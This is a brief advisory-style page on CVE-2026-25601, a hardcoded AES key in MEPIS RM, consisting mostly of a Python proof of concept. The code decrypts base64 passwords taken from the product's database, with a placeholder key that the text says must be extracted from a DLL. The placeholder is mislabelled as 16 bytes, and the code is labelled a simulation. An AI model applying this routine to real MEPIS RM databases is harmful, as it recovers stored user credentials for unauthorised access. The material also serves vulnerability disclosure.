CVE-2026-25601 MEPIS RM硬编码密钥漏洞

# Python PoC to demonstrate decryption logic (Simulation) # Note: The actual key needs to be extracted from Mx.Web.ComponentModel.dll from Crypto.Cipher import AES import base64 # Hardcoded key extracted from the vulnerable component HARDCODED_KEY = b'YOUR_EXTRACTED_KEY_HERE_16B' # Example 16-byte key IV = b'INIT_VECTOR_16BT' def decrypt_password(encrypted_password): """ Decrypts the password using the hardcoded key found in the DLL. """ try: cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV) decrypted_bytes = cipher.decrypt(base64.b64decode(encrypted_password)) # Remove padding (unpadding) pad = decrypted_bytes[-1] return decrypted_bytes[:-pad].decode('utf-8') except Exception as e: return f"Error: {e}" # Example usage: # encrypted_pw_from_db = "..." # print(decrypt_password(encrypted_pw_from_db))